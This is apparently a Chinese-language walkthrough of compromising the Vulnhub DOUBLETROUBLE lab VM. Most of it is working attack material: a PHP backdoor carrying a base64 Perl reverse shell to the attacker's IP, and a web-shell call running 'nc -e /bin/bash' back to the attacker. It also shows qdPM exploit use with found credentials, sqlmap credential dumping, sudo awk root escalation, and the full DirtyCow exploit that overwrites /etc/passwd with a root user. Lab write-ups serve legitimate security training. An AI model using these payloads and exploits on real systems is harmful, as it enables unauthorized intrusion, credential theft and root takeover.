Vulnhub-DOUBLETROUBLE靶机渗透实战

Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-22 00:54 EST
Nmap scan report for 192.168.3.72 (192.168.3.72)
Host is up (0.0056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 6afed61723cb90792bb12d3753974658 (RSA)
|   256 5bc468d18959d748b096f311871c08ac (ECDSA)
|_  256 613966881d8ff1d040611e99c51a1ff4 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: qdPM | Login
MAC Address: 08:00:27:45:31:D4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 
 http://192.168.3.72/core 
 #发现该目录下存在很多敏感文件，其中有一个文件下有邮箱用户名和密码，猜测可以在登陆界面登陆或者进行ssh登陆，不过在尝试过后发现这就是一个伪造的信息，暂时没法利用 
 http://192.168.3.72/uploads 
 #猜测该目录应该是登陆后上传文件存储的地方 
 http://192.168.3.72/secret 
 #访问后是一张图片，该图片可能隐藏有重要信息 

apt-get install steghide#安装steghide工具 
 steghide info doubletrouble.jpg#查看图片基本信息 

 https://github.com/RickdeJager/stegseek/releases#stegseek下载地址,下载stegseek\_0.6-1.deb 
 apt install /tmp/mozilla\_root0/stegseek\_0.6-1.deb#安装stegseek 

 gunzip /usr/share/wordlists/rockyou.txt.gz#kali自带字典，需要先解压 
 mkdirdict#创建一个文件夹用来存放rockyou.txt字典 
 cp /usr/share/wordlists/rockyou.txt /root/dict/#将解压的字典复制到dict文件夹里 

 stegseek --crack doubletrouble.jpg /root/dict/rockyou.txt -xf 
 output.txt 
 #--crack 使用文字列表破解文件。这是默认模式。这里的rockyou.txt就是文字列表字典 
 #-xf 将破解出的信息存放到指定的文件里 

 http://192.168.3.72/index.php/myAccount 

 <?php 
 functionwhich($pr){ 
 $path\=execute("which$pr"); 
 return($path?$path:$pr); 
 } 
 functionexecute($cfe){ 
 $res\=''; 
 if($cfe){ 
 if(function\_exists('exec')){ 
 @exec($cfe,$res); 
 $res\=join("\\n",$res); 
 } 
 elseif(function\_exists('shell\_exec')){ 
 $res\=@shell\_exec($cfe); 
 }elseif(function\_exists('system')){ 
 @ob\_start(); 
 @system($cfe); 
 $res\=@ob\_get\_contents(); 
 @ob\_end\_clean(); 
 }elseif(function\_exists('passthru')){ 
 @ob\_start(); 
 @passthru($cfe); 
 $res\=@ob\_get\_contents(); 
 @ob\_end\_clean(); 
 }elseif(@is\_resource($f\=@popen($cfe,"r"))){ 
 $res\=''; 
 while(!@feof($f)){ 
 $res.=@fread($f,1024); 
 } 
 @pclose($f); 
 } 
 } 
 return$res; 
 } 
 functioncf($fname,$text){ 
 if($fp\=@fopen($fname,'w')){ 
 @fputs($fp,@base64\_decode($text)); 
 @fclose($fp); 
 } 
 } 
 $yourip\="your IP"; 
 $yourport\='your port'; 
 $usedb\=array('perl'\=>'perl','c'\=>'c'); 
 $back\_connect\="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". 
 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". 
 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". 
 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". 
 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". 
 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". 
 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; 
 cf('/tmp/.bc',$back\_connect); 
 $res\=execute(which('perl')." /tmp/.bc$yourip$yourport&"); ?> 

 searchsploit -u #更新漏洞库 
 searchsploit qdpm #查找有关qdpm有关的漏洞 

 searchsploit -m 47954.py 
 searchsploit -m 50175.py 
 \-m后面跟需要下载的脚本 

python 350175.py -url http://192.168.3.72/ -u otisrush@localhost.com -p otis666 

 http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=id 

 http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=id 
 #当前文件路径问/var/www/html/uploads/users 

nc -lvnp1234 

 http://192.168.3.72//uploads/users/793584\-backdoor.php?cmd\=nc\-e/bin/bash192.168.3.761234 

 sudo awk'BEGIN{system("/bin/sh")}' 

 sudo awk'BEGIN{system("/bin/bash")}' 

 cp doubletrouble.ova/var/www/html/uploads 

 sqlmap -u "http://192.168.3.77/index.php" --forms --batch 

sqlmap -u "http://192.168.3.77/index.php" --forms --batch --current -db 

 sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble --tables 

 sqlmap -u "http://192.168.3.77/index.php" --forms -batch -D doubletrouble -T users --columns 

sqlmap -u "http://192.168.3.77/index.php" --forms --batch -D doubletrouble -T users -C username,password --dump 

uname -a 

 searchsploit linux3.2 
 searchsploit -m 40616.c 

 nc -lvnp 10086 >40616.c 

 nc 192.168.3.77 10086 < 40616.c -w 1 

 // 
 // This exploit uses the pokemon exploit of the dirtycow vulnerability 
 // as a base and automatically generates a new passwd line. 
 // The user will be prompted for the new password when the binary is run. 
 // The original /etc/passwd file is then backed up to /tmp/passwd.bak 
 // and overwrites the root account with the generated line. 
 // After running the exploit you should be able to login with the newly 
 // created user. 
 // 
 // To use this exploit modify the user values according to your needs. 
 // The default is "firefart". 
 // 
 // Original exploit (dirtycow's ptrace\_pokedata "pokemon" method): 
 // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c 
 // 
 // Compile with: 
 // gcc -pthread dirty.c -o dirty -lcrypt 
 // 
 // Then run the newly create binary by either doing: 
 // "./dirty" or "./dirty my-new-password" 
 // 
 // Afterwards, you can either "su firefart" or "ssh firefart@..." 
 // 
 // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! 
 // mv /tmp/passwd.bak /etc/passwd 
 // 
 // Exploit adopted by Christian "FireFart" Mehlmauer 
 // https://firefart.at 
 // 
 #include<fcntl.h> 
 #include<pthread.h> 
 #include<string.h> 
 #include<stdio.h> 
 #include<stdint.h> 
 #include<sys/mman.h> 
 #include<sys/types.h> 
 #include<sys/stat.h> 
 #include<sys/wait.h> 
 #include<sys/ptrace.h> 
 #include<stdlib.h> 
 #include<unistd.h> 
 #include<crypt.h> 
 constchar\*filename ="/etc/passwd"; 
 constchar\*backup\_filename ="/tmp/passwd.bak"; 
 constchar\*salt ="firefart"; 
 intf; 
 void\*map; 
 pid\_tpid; 
 pthread\_tpth; 
 structstatst; 
 structUserinfo{ 
 char\*username; 
 char\*hash; 
 intuser\_id; 
 intgroup\_id; 
 char\*info; 
 char\*home\_dir; 
 char\*shell; 
 }; 
 char\*generate\_password\_hash(char\*plaintext\_pw){ 
 returncrypt(plaintext\_pw, salt); 
 } 
 char\*generate\_passwd\_line(structUserinfo u){ 
 constchar\*format ="%s:%s:%d:%d:%s:%s:%s\\n"; 
 intsize =snprintf(NULL,0, format, u.username, u.hash, 
 u.user\_id, u.group\_id, u.info, u.home\_dir, u.shell); 
 char\*ret =malloc(size +1); 
 sprintf(ret, format, u.username, u.hash, u.user\_id, 
 u.group\_id, u.info, u.home\_dir, u.shell); 
 returnret; 
 } 
 void\*madviseThread(void\*arg){ 
 inti, c =0; 
 for(i =0; i <200000000; i++) { 
 c +=madvise(map,100, MADV\_DONTNEED); 
 } 
 printf("madvise %d\\n\\n", c); 
 } 
 intcopy\_file(constchar\*from,constchar\*to){ 
 // check if target file already exists 
 if(access(to, F\_OK) !=\-1) { 
 printf("File %s already exists! Please delete it and run again\\n", 
 to); 
 return\-1; 
 } 
 charch; 
 FILE \*source, \*target; 
 source =fopen(from,"r"); 
 if(source ==NULL) { 
 return\-1; 
 } 
 target =fopen(to,"w"); 
 if(target ==NULL) { 
 fclose(source); 
 return\-1; 
 } 
 while((ch =fgetc(source)) != EOF) { 
 fputc(ch, target); 
 } 
 printf("%s successfully backed up to %s\\n", 
 from, to); 
 fclose(source); 
 fclose(target); 
 return0; 
 } 
 intmain(intargc,char\*argv\[\]) 
 { 
 // backup file 
 intret =copy\_file(filename, backup\_filename); 
 if(ret !=0) { 
 exit(ret); 
 } 
 structUserinfouser; 
 // set values, change as needed 
 user.username ="firefart"; 
 user.user\_id =0; 
 user.group\_id =0; 
 user.info ="pwned"; 
 user.home\_dir ="/root"; 
 user.shell ="/bin/bash"; 
 char\*plaintext\_pw; 
 if(argc >=2) { 
 plaintext\_pw = argv\[1\]; 
 printf("Please enter the new password: %s\\n", plaintext\_pw); 
 }else{ 
 plaintext\_pw =getpass("Please enter the new password: "); 
 } 
 user.hash =generate\_password\_hash(plaintext\_pw); 
 char\*complete\_passwd\_line =generate\_passwd\_line(user); 
 printf("Complete line:\\n%s\\n", complete\_passwd\_line); 
 f =open(filename, O\_RDONLY); 
 fstat(f, &st); 
 map =mmap(NULL, 
 st.st\_size +sizeof(long), 
 PROT\_READ, 
 MAP\_PRIVATE, 
 f, 
 0); 
 printf("mmap: %lx\\n",(unsignedlong)map); 
 pid = fork(); 
 if(pid) { 
 waitpid(pid,NULL,0); 
 intu, i, o, c =0; 
 intl=strlen(complete\_passwd\_line); 
 for(i =0; i <10000/l; i++) { 
 for(o =0; o < l; o++) { 
 for(u =0; u <10000; u++) { 
 c +=ptrace(PTRACE\_POKETEXT, 
 pid, 
 map + o, 
 \*((long\*)(complete\_passwd\_line + o))); 
 } 
 } 
 } 
 printf("ptrace %d\\n",c); 
 } 
 else{ 
 pthread\_create(&pth, 
 NULL, 
 madviseThread, 
 NULL); 
 ptrace(PTRACE\_TRACEME); 
 kill(getpid(), SIGSTOP); 
 pthread\_join(pth,NULL); 
 } 
 printf("Done! Check %s to see if the new user was created.\\n", filename); 
 printf("You can log in with the username '%s' and the password '%s'.\\n\\n", 
 user.username, plaintext\_pw); 
 printf("\\nDON'T FORGET TO RESTORE! $ mv %s %s\\n", 
 backup\_filename, filename); 
 return0; 
 } 

 gcc -pthread dirty.c -o dirty -l crypt